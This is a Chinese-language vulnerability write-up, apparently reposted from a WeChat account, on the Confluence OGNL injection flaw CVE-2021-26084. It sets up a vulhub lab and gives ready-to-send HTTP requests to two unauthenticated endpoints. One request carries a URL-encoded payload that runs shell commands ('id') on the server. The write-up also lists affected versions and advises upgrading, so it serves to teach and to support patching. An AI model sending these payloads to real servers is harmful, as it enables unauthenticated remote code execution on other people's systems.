Confluence Server和Confluence Data Center上存在一个OGNL注入漏洞，漏洞编号为CVE-2021-26084。该漏洞允许经过身份验证或在某些情况下未授权的攻击者，在Confluence Server或Confluence Data Center上执行任意代码。
-
Atlassian Confluence Server/Data Center < 6.13.23 -
Atlassian Confluence Server/Data Center < 7.4.11 -
Atlassian Confluence Server/Data Center < 7.11.6 -
Atlassian Confluence Server/Data Center < 7.12.5 -
Atlassian Confluence Server/Data Center < 7.13.0
git clone https://github.com/vulhub/vulhub
cd vulhub-master/confluence/CVE-2021-26084docker-compose up -d
有多个接口可以触发这个OGNL表达式注入漏洞。
1./pages/doenterpagevariables.action接口
首先，使用Burpsuite工具构造如下数据包：
POST /pages/doenterpagevariables.action HTTP/1.1Host: 192.168.150.191:8090Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 47queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
这个接口不需要登录即可利用，数据包发送后，即可看到233*233已被执行：
执行任意命令：
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027数据包发送后，即可看到“id”命令已被执行：
2./pages/createpage-entervariables.action接口
使用Burpsuite工具构造如下数据包：
POST /pages/createpage-entervariables.action HTTP/1.1Host: 192.168.150.191:8090Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 47queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
数据包发送后，即可看到233*233已被执行：
受影响用户可根据影响范围中的信息，排查并升级到安全版本。下载链接：
https://www.atlassian.com/software/confluence/download-archives
原文始发于微信公众号（第59号）：CVE-2021-26084：Atlassian Confluence OGNL表达式注入命令执行漏洞简析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论